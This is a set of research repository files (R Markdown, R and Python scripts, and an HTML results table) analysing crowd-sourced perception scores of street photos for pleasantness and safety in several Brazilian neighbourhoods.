```{r results='asis', echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
cat("<br/>")
highlighted_positive <- data.frame(num=c(445, 445, 549, 549, 691, 691, 691, 813, 913, 913), angle=c(112, 22, 112, 203, 22, 112, 293, 112, 112, 203))
highlighted_neutral <- data.frame(num=c(445, 691, 813), angle=c(293, 203, 293))
show_street_data(floriano, all_data, TRUE, highlighted_positive, best_folder, worst_folder, highlighted_neutral)
cat("<div class=\"col-xs-12\" style=\"height:300px;\"></div>")
```
Descrição da rua
* Média/mediana: 5.06/5.04 x 4.69/4.80 -> rua de mediana para boa
* Variação no surprise? Em cada ponto temos algumas variações ao longo da rua e um ponto mais homogêneo positivamente
* Lado melhor? Side1 (6) x Side2 (8), side2 ligeiramente melhor
* Região melhor? Não dá para identificar pelo surprise, pelos **scores poderia-se dizer do 552 ao 694?**
#\#\#\# Rua 3
Ponto máximo e mínimo
```{r results='asis', echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
edesio <- dplyr::filter(all_data, street == "R._Edésio_Silva") %>% dplyr::group_by(num) %>% dplyr::arrange(street, num, angle) %>% dplyr::select(url, photo_name, street, num, angle, qscore, V3, ci)
cat("<br/>")
max_point <- filter(edesio, qscore == max(edesio$qscore))
cat(paste("<div class='col-xs-6' style=\"background-color:", "#00ff00","\">", sep=""))
cat("<img src='", as.character(max_point$url),"' width='600px'>", sep = "")#as.character(max_point$url)
cat("<p style=\"color:black;font-size:90%\">", max_point$num, "- ", max_point$angle, "-", max_point$qscore, "</p>", sep="")
cat("</div>")
min_point <- filter(edesio, qscore == min(edesio$qscore))
cat(paste("<div class='col-xs-6' style=\"background-color:", "#000000","\">", sep=""))
cat("<img src='", as.character(min_point$url),"' width='600px'>", sep = "")#as.character(min_point$url)
cat("<p style=\"color:white;font-size:90%\">", min_point$num, "- ", min_point$angle, "-", min_point$qscore, "</p>", sep="")
cat("</div>")
cat("<br/>")
```
Pontos notáveis destacados por ponto na rua
```{r results='asis', echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
cat("<br/>")
highlighted_positive <- data.frame(num=c(70, 306, 306, 602, 602, 1546, 1546, 1546, 1546), angle=c(22, 22, 203, 22, 315, 22, 135, 203, 315))
highlighted_neutral <- data.frame(num=c(306, 602, 1136), angle=c(135, 135, 315))
show_street_data(edesio, all_data, TRUE, highlighted_positive, best_folder, worst_folder, highlighted_neutral)
cat("<div class=\"col-xs-12\" style=\"height:300px;\"></div>")
```
Descrição da rua
* Média/mediana: 4.70/4.73 x 4.69/4.80 -> mediana
* Variação no surprise? 3 lugar (heterogenea)
* Lado melhor?
* Região melhor? 1546
#\#\#\# Rua 4
Ponto máximo e mínimo
```{r results='asis', echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
maciel <- dplyr::filter(all_data, street == "R._Maciel_Pinheiro") %>% dplyr::group_by(num) %>% dplyr::arrange(street, num, angle) %>% dplyr::select(url, photo_name, street, num, angle, qscore, V3, ci)
cat("<br/>")
max_point <- filter(maciel, qscore == max(maciel$qscore))
cat(paste("<div class='col-xs-6' style=\"background-color:", "#00ff00","\">", sep=""))
cat("<img src='", as.character(max_point$url),"' width='600px'>", sep = "")#
cat("<p style=\"color:black;font-size:90%\">", max_point$num, "- ", max_point$angle, "-", max_point$qscore, "</p>", sep="")
cat("</div>")
min_point <- filter(maciel, qscore == min(maciel$qscore))
cat(paste("<div class='col-xs-6' style=\"background-color:", "#000000","\">", sep=""))
cat("<img src='", as.character(min_point$url),"' width='600px'>", sep = "")#
cat("<p style=\"color:white;font-size:90%\">", min_point$num, "- ", min_point$angle, "-", min_point$qscore, "</p>", sep="")
cat("</div>")
cat("<br/>")
```
Pontos notáveis destacados por ponto na rua
```{r results='asis', echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
cat("<br/>")
highlighted_positive <- data.frame(num=c(130, 190, 190, 190, 248, 248, 284, 360), angle=c(90, 90, 360, 270, 90, 180, 180, 360))
highlighted_neutral <- data.frame(num=c(130, 130, 284, 284, 360), angle=c(180, 270, 90, 360, 90))
show_street_data(maciel, all_data, TRUE, highlighted_positive, best_folder, worst_folder, highlighted_neutral)
cat("<div class=\"col-xs-12\" style=\"height:300px;\"></div>")
```
Descrição da rua
* Média/mediana: 4.77/4.77 x 4.69/4.80 -> mediana para boa?
* Variação no surprise? 2 menor (homogenea)
* Lado melhor?
* Região melhor? 130, 190
#\#\#\# Rua 5
Ponto máximo e mínimo
```{r results='asis', echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
inacio <- dplyr::filter(all_data, street == "R._Inácio_Marquês_da_Silva") %>% dplyr::group_by(num) %>% dplyr::arrange(street, num, angle) %>% dplyr::select(url, photo_name, street, num, angle, qscore, V3, ci)
cat("<br/>")
max_point <- filter(inacio, qscore == max(inacio$qscore))
cat(paste("<div class='col-xs-6' style=\"background-color:", "#00ff00","\">", sep=""))
cat("<img src='", as.character(max_point$url),"' width='600px'>", sep = "")#
cat("<p style=\"color:black;font-size:90%\">", max_point$num, "- ", max_point$angle, "-", max_point$qscore, "</p>", sep="")
cat("</div>")
min_point <- filter(inacio, qscore == min(inacio$qscore))
cat(paste("<div class='col-xs-6' style=\"background-color:", "#000000","\">", sep=""))
cat("<img src='", as.character(min_point$url),"' width='600px'>", sep = "")#
cat("<p style=\"color:white;font-size:90%\">", min_point$num, "- ", min_point$angle, "-", min_point$qscore, "</p>", sep="")
cat("</div>")
cat("<br/>")
```
Pontos notáveis destacados por ponto na rua
```{r results='asis', echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
cat("<br/>")
highlighted_positive <- data.frame(num=c(2, 54, 54, 120, 120, 120, 199, 199, 199, 239, 239, 239, 239, 300, 300, 300, 360, 360, 434), angle=c(203, 112, 22, 112, 22, 293, 112, 180, 293, 22, 90, 203, 270, 10, 293, 180, 22, 270, 112))
highlighted_neutral <- data.frame(num=c(160, 160, 160, 160, 199, 360, 360, 500, 500), angle=c(22, 112, 203, 293, 10, 90, 203, 90, 270))
show_street_data(inacio, all_data, TRUE, highlighted_positive, best_folder, worst_folder, highlighted_neutral)
cat("<div class=\"col-xs-12\" style=\"height:300px;\"></div>")
```
Descrição da rua
* Média/mediana: 4.72/4.83 x 4.69/4.80 -> mediana
* Variação no surprise? 2 maior (heterogenea)
* Lado melhor?
* Região melhor? 199, 239, 300
#\#\#\# Rua 6
Ponto máximo e mínimo
```{r results='asis', echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
manoel <- dplyr::filter(all_data, street == "R._Manoel_Pereira_de_Araújo") %>% dplyr::group_by(num) %>% dplyr::arrange(street, num, angle) %>% dplyr::select(url, photo_name, street, num, angle, qscore, V3, ci)
cat("<br/>")
max_point <- filter(manoel, qscore == max(manoel$qscore))
cat(paste("<div class='col-xs-6' style=\"background-color:", "#00ff00","\">", sep=""))
cat("<img src='", as.character(max_point$url),"' width='600px'>", sep = "")#
cat("<p style=\"color:black;font-size:90%\">", max_point$num, "- ", max_point$angle, "-", max_point$qscore, "</p>", sep="")
cat("</div>")
min_point <- filter(manoel, qscore == min(manoel$qscore))
cat(paste("<div class='col-xs-6' style=\"background-color:", "#000000","\">", sep=""))
cat("<img src='", as.character(min_point$url),"' width='600px'>", sep = "")#
cat("<p style=\"color:white;font-size:90%\">", min_point$num, "- ", min_point$angle, "-", min_point$qscore, "</p>", sep="")
cat("</div>")
cat("<br/>")
```
Pontos notáveis destacados por ponto na rua
```{r results='asis', echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
cat("<br/>")
highlighted_positive <- data.frame(num=c(188, 222, 300, 370, 392, 392), angle=c(22, 203, 315, 135, 293, 112))
highlighted_neutral <- data.frame(num=c(188, 188, 222, 300, 370, 392), angle=c(135, 315, 315, 203, 203, 22))
show_street_data(manoel, all_data, TRUE, highlighted_positive, best_folder, worst_folder, highlighted_neutral)
cat("<div class=\"col-xs-12\" style=\"height:300px;\"></div>")
```
Descrição da rua
* Média/mediana: 3.69/3.64 x 4.69/4.80 -> ruim
* Variação no surprise? mais homogenea
* Lado melhor?
* Região melhor? 188, 222 e 392<file_sep>## @knitr variablesXY
x<-1:100
y<-x+rnorm(100)
## @knitr plotXY
plot(x,y)<file_sep>#!/bin/Rscript
# Calculates the confidence interval of qscores for each city point for each of the groups received
library(ggplot2)
library(rmarkdown)
library(knitr)
#Calculates the variance that should be added or removed from the mean
ic <- function(x) {
#return (sd(x)/sqrt(length(x))*qt(.95,999))#95% confidence interval for a sample of 1000 items
#print (100 * qnorm(1-(0.05/2)) * sd(x) / (5 * mean(x)))^2
return (sd(x)/sqrt(length(x))*qnorm(1-(0.05/2)))#95% confidence interval, significance level of 0.05 (alpha) - sample 100
}
# Multiple plot function
#
# ggplot objects can be passed in ..., or to plotlist (as a list of ggplot objects)
# - cols: Number of columns in layout
# - layout: A matrix specifying the layout. If present, 'cols' is ignored.
#
# If the layout is something like matrix(c(1,2,3,3), nrow=2, byrow=TRUE),
# then plot 1 will go in the upper left, 2 will go in the upper right, and
# 3 will go all the way across the bottom.
#
multiplot <- function(..., plotlist=NULL, file, cols=1, layout=NULL) {
library(grid)
# Make a list from the ... arguments and plotlist
plots <- c(list(...), plotlist)
numPlots = length(plots)
# If layout is NULL, then use 'cols' to determine layout
if (is.null(layout)) {
# Make the panel
# ncol: Number of columns of plots
# nrow: Number of rows needed, calculated from # of cols
layout <- matrix(seq(1, cols * ceiling(numPlots/cols)),
ncol = cols, nrow = ceiling(numPlots/cols))
}
if (numPlots==1) {
print(plots[[1]])
} else {
# Set up the page
grid.newpage()
pushViewport(viewport(layout = grid.layout(nrow(layout), ncol(layout))))
# Make each plot, in the correct location
for (i in 1:numPlots) {
# Get the i,j matrix positions of the regions that contain this subplot
matchidx <- as.data.frame(which(layout == i, arr.ind = TRUE))
print(plots[[i]], vp = viewport(layout.pos.row = matchidx$row,
layout.pos.col = matchidx$col))
}
}
}
#Selecting only qscores
analyseIC <- function(file1, file2, type1, type2, shouldPlot=FALSE){
data1 <- read.table(file1)
data2 <- read.table(file2)
newdata1 <- data1 [ c(4:103) ]
newdata2 <- data2 [ c(4:103) ]
icData1 <- apply(newdata1, 1, ic)
icData2 <- apply(newdata2, 1, ic)
temp1 <- lapply(as.character(data1$V2), function (x) strsplit(x, split="/", fixed=TRUE)[[1]][1])
temp2 <- lapply(as.character(data2$V2), function (x) strsplit(x, split="/", fixed=TRUE)[[1]][1])
neigs1 <- unlist(lapply(temp1, '[[', 1))
neigs2 <- unlist(lapply(temp2, '[[', 1))
#Saving data
newframe1 <- data.frame(ques=data1$V1, photo=data1$V2, mean=data1$V3, dist=icData1, inf=data1$V3-icData1, sup=data1$V3+icData1, neig=neigs1)
newframe1 <- newframe1[with(newframe1, order(photo)), ]
newframe1$type <- type1
write.table(newframe1, "teste1.txt", sep="\t", row.names=FALSE, col.names=TRUE, quote=FALSE)
newframe2 <- data.frame(ques=data2$V1, photo=data2$V2, mean=data2$V3, dist=icData2, inf=data2$V3-icData1, sup=data2$V3+icData1, neig=neigs2)
newframe2 <- newframe2[with(newframe2, order(photo)), ]
newframe2$type <- type2
write.table(newframe2, "teste2.txt", sep="\t", row.names=FALSE, col.names=TRUE, quote=FALSE)
total <- rbind(newframe1, newframe2)
size <- nrow(total)
total$photo <- 1:size
total$photo [ c((size/2+1):size) ] <- (1:(size/2))
centro <<- total[total$neig == "centro",]
liberdade <<- total[total$neig == "liberdade",]
catole <<- total[total$neig == "catole",]
#if(shouldPlot){
#
# pdf(file=paste("IC-Centro-", type1, "-", type2, ".pdf"), paper="special")
# ggplot(centro, aes(x=photo, y=mean, colour=type)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=inf, ymax=sup)) + facet_grid(. ~ques, shrink=TRUE) + xlab("Local") + ylab("QScore") + ggtitle("Centro")
#
# pdf(file=paste("IC-Liberdade-", type1, "-", type2, ".pdf"), paper="special")
# ggplot(liberdade, aes(x=photo, y=mean, colour=type)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=inf, ymax=sup)) + facet_grid(. ~ques, shrink=TRUE) + xlab("Local") + ylab("QScore") + ggtitle("Liberdade")
#
# pdf(file=paste("IC-Catole-", type1, "-", type2, ".pdf"), paper="special")
# ggplot(catole, aes(x=photo, y=mean, colour=type)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=inf, ymax=sup)) + facet_grid(. ~ques, shrink=TRUE) + xlab("Local") + ylab("QScore") + ggtitle("Catolé")
# dev.off()
# }
}
#multiplot(g1, g2, g3, cols=1)
# solt$type <- "solteiro"
# casa$type <- "casado"
# novo <- rbind(solt, casa)
# novo$photo <- 1:156 + novo$photo [c(79:156) ] <- 1:78
args <- commandArgs(trailingOnly = TRUE)
if (length(args) > 1){
file1 <- args[1]
file2 <- args[2]
type1 <- args[3]
type2 <- args[4]
analyseIC(file1, file2, type1, type2, TRUE)
}
<file_sep># coding=utf-8
# Combines RGB, QScore and amount of lines for each photo according to input data
import sys
#possible questions
possibleQuestions = ["agrad%C3%A1vel?", "seguro?"]
if __name__ == "__main__":
if len(sys.argv) < 4:
<file_sep>#!/bin/Rscript
# Analyses QScore versus color and amount of lines using Spearman and Kendall
args <- commandArgs(trailingOnly = TRUE)
#Agradavel
data = read.table(args[1], header=TRUE)
print("Agradável")
#Spearman, analise do rho > 0,90 a 1,0 indica correlação muito forte; +- 0,70 a +- 0,90 indica correlação forte; +- 0,50 a +- 0,70 moderada
print("Spearman red")
cor.test(data$qscore, data$red, method="spearman")
print("Spearman green")
cor.test(data$qscore, data$green, method="spearman")
print("Spearman blue")
cor.test(data$qscore, data$blue, method="spearman")
print("Spearman diag")
cor.test(data$qscore, data$diag, method="spearman")
print("Spearman hor")
cor.test(data$qscore, data$hor, method="spearman")
print("Spearman ver")
cor.test(data$qscore, data$ver, method="spearman")
print("Kendall red")
cor.test(data$qscore, data$red, method="kendall")
print("Kendall green")
cor.test(data$qscore, data$green, method="kendall")
print("Kendall blue")
cor.test(data$qscore, data$blue, method="kendall")
print("Kendall diag")
cor.test(data$qscore, data$diag, method="kendall")
print("Kendall hor")
cor.test(data$qscore, data$hor, method="kendall")
print("Kendall ver")
cor.test(data$qscore, data$ver, method="kendall")
pdf(file=paste("histAgrad", args[1], ".pdf"), paper="special")
par(mfrow = c(4,2))
hist(data$qscore, prob=TRUE, main="QScore")
hist(data$red, prob=TRUE, main="Red")
hist(data$green, prob=TRUE, main="Green")
hist(data$blue, prob=TRUE, main="Blue")
hist(data$diag, prob=TRUE, main="Diag")
hist(data$hor, prob=TRUE, main="Hor")
hist(data$ver, prob=TRUE, main="Ver")
pdf(file=paste("boxAgrad", args[1], ".pdf"), paper="special")
#par(mfrow = c(4,2))
boxplot(data$qscore, prob=TRUE, main="QScore")
#boxplot(data$red, prob=TRUE, main="Red")
#boxplot(data$green, prob=TRUE, main="Green")
#boxplot(data$blue, prob=TRUE, main="Blue")
#boxplot(data$diag, prob=TRUE, main="Diag")
#boxplot(data$hor, prob=TRUE, main="Hor")
#boxplot(data$ver, prob=TRUE, main="Ver")
pdf(file=paste("qqplotsAgrad", args[1], ".pdf"), paper="special")
par(mfrow = c(4,2))
qqnorm(data$qscore, main="QScore");qqline(data$qscore)
qqnorm(data$red, main="Red");qqline(data$red)
qqnorm(data$green, main="Green");qqline(data$green)
qqnorm(data$blue, main="Blue");qqline(data$blue)
qqnorm(data$diag, main="Diag");qqline(data$diag)
qqnorm(data$hor, main="Hor");qqline(data$hor)
qqnorm(data$ver, main="Ver");qqline(data$ver)
pdf(file=paste("plotsAgrad", args[1], ".pdf"), paper="special")
par(mfrow = c(3,2))
plot(data$red, data$qscore, main="Red")
plot(data$green, data$qscore, main="Green")
plot(data$blue, data$qscore, main="Blue")
plot(data$diag, data$qscore, main="Diag")
plot(data$hor, data$qscore, main="Hor")
plot(data$ver, data$qscore, main="Ver")
#Segurança
data = read.table(args[2], header=TRUE)
print("Segurança")
#Spearman, analise do rho > 0,90 a 1,0 indica correlação muito forte; +- 0,70 a +- 0,90 indica correlação forte; +- 0,50 a +- 0,70 moderada
print("Spearman red")
cor.test(data$qscore, data$red, method="spearman")
print("Spearman green")
cor.test(data$qscore, data$green, method="spearman")
print("Spearman blue")
cor.test(data$qscore, data$blue, method="spearman")
print("Spearman diag")
cor.test(data$qscore, data$diag, method="spearman")
print("Spearman hor")
cor.test(data$qscore, data$hor, method="spearman")
print("Spearman ver")
cor.test(data$qscore, data$ver, method="spearman")
print("Kendall red")
cor.test(data$qscore, data$red, method="kendall")
print("Kendall green")
cor.test(data$qscore, data$green, method="kendall")
print("Kendall blue")
cor.test(data$qscore, data$blue, method="kendall")
print("Kendall diag")
cor.test(data$qscore, data$diag, method="kendall")
print("Kendall hor")
cor.test(data$qscore, data$hor, method="kendall")
print("Kendall ver")
cor.test(data$qscore, data$ver, method="kendall")
pdf(file=paste("histSeg", args[1], ".pdf"), paper="special")
par(mfrow = c(4,2))
hist(data$qscore, prob=TRUE, main="QScore")
hist(data$red, prob=TRUE, main="Red")
hist(data$green, prob=TRUE, main="Green")
hist(data$blue, prob=TRUE, main="Blue")
hist(data$diag, prob=TRUE, main="Diag")
hist(data$hor, prob=TRUE, main="Hor")
hist(data$ver, prob=TRUE, main="Ver")
pdf(file=paste("boxSeg", args[1], ".pdf"), paper="special")
#par(mfrow = c(4,2))
boxplot(data$qscore, prob=TRUE, main="QScore")
#boxplot(data$red, prob=TRUE, main="Red")
#boxplot(data$green, prob=TRUE, main="Green")
#boxplot(data$blue, prob=TRUE, main="Blue")
#boxplot(data$diag, prob=TRUE, main="Diag")
#boxplot(data$hor, prob=TRUE, main="Hor")
#boxplot(data$ver, prob=TRUE, main="Ver")
pdf(file=paste("qqplotsSeg", args[1], ".pdf"), paper="special")
par(mfrow = c(4,2))
qqnorm(data$qscore, main="QScore");qqline(data$qscore)
qqnorm(data$red, main="Red");qqline(data$red)
qqnorm(data$green, main="Green");qqline(data$green)
qqnorm(data$blue, main="Blue");qqline(data$blue)
qqnorm(data$diag, main="Diag");qqline(data$diag)
qqnorm(data$hor, main="Hor");qqline(data$hor)
qqnorm(data$ver, main="Ver");qqline(data$ver)
pdf(file=paste("plotsSeg", args[1], ".pdf"), paper="special")
par(mfrow = c(3,2))
plot(data$red, data$qscore, main="Red")
plot(data$green, data$qscore, main="Green")
plot(data$blue, data$qscore, main="Blue")
plot(data$diag, data$qscore, main="Diag")
plot(data$hor, data$qscore, main="Hor")
plot(data$ver, data$qscore, main="Ver")
<file_sep><meta content="text/html; charset=UTF-8" http-equiv="content-type"><body style="overflow:scroll">
<h2>agrad%C3%A1vel?</h2><table>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_210_45.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_210_45.jpg 6.06753779714</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_210_225.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_210_225.jpg 5.96403584574</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_210_135.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_210_135.jpg 5.88975475069</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_210_315.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_210_315.jpg 5.7954189585</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_199_112.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_199_112.jpg 5.78487270751</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_160_135.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_160_135.jpg 5.73474259699</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_105_135.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_105_135.jpg 5.67778549571</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_105_225.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_105_225.jpg 5.63393290133</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_66_225.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_66_225.jpg 5.62354550568</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_580_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_580_203.jpg 5.56840856489</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_160_45.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_160_45.jpg 5.49594523662</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_160_315.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_160_315.jpg 5.44769260483</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_66_45.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_66_45.jpg 5.44604480324</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_160_225.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_160_225.jpg 5.43614015362</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_239_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_239_22.jpg 5.43011776076</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_120_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_120_22.jpg 5.4259042564</td>
<td><img src="https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_691_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_691_22.jpg 5.40454343293</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_70_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_70_22.jpg 5.37902047419</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_436_135.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_436_135.jpg 5.35396226355</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_120_293.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_120_293.jpg 5.33985346248</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_2_135.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_2_135.jpg 5.32945328859</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_66_315.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_66_315.jpg 5.32538079324</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_261_315.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_261_315.jpg 5.32127854398</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_602_315.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_602_315.jpg 5.30810170634</td>
</tr>
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<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_602_22.jpg" width="400" height="300"></td>
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<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_300_112.jpg" width="400" height="300"></td>
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<td><img src="https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_130_270.jpg" width="400" height="300"></td>
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<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_160_203.jpg" width="400" height="300"></td>
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<td><img src="https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_360_90.jpg" width="400" height="300"></td>
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<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_350_315.jpg" width="400" height="300"></td>
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<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_306_315.jpg" width="400" height="300"></td>
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<td><img src="https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_360_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_360_180.jpg 4.59113866479</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_160_293.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_160_293.jpg 4.58200526682</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_248_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_248_270.jpg 4.54975433174</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_1136_135.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_1136_135.jpg 4.5274600496</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_2_293.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_2_293.jpg 4.51022489204</td>
<td><img src="https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_913_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_913_22.jpg 4.50028756894</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_549_293.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_549_293.jpg 4.48731071838</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_248_360.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_248_360.jpg 4.48601249763</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_2_45.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_2_45.jpg 4.4476986457</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_390_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_390_203.jpg 4.44487654665</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_500_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_500_90.jpg 4.44439589591</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_190_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_190_180.jpg 4.43087442311</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_284_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_284_270.jpg 4.41868860968</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_70_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_70_203.jpg 4.37990637671</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_360_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_360_270.jpg 4.37736932959</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_390_135.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_390_135.jpg 4.37002360006</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_500_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_500_270.jpg 4.35872586516</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_434_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_434_270.jpg 4.31400424743</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_54_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_54_203.jpg 4.30995994665</td>
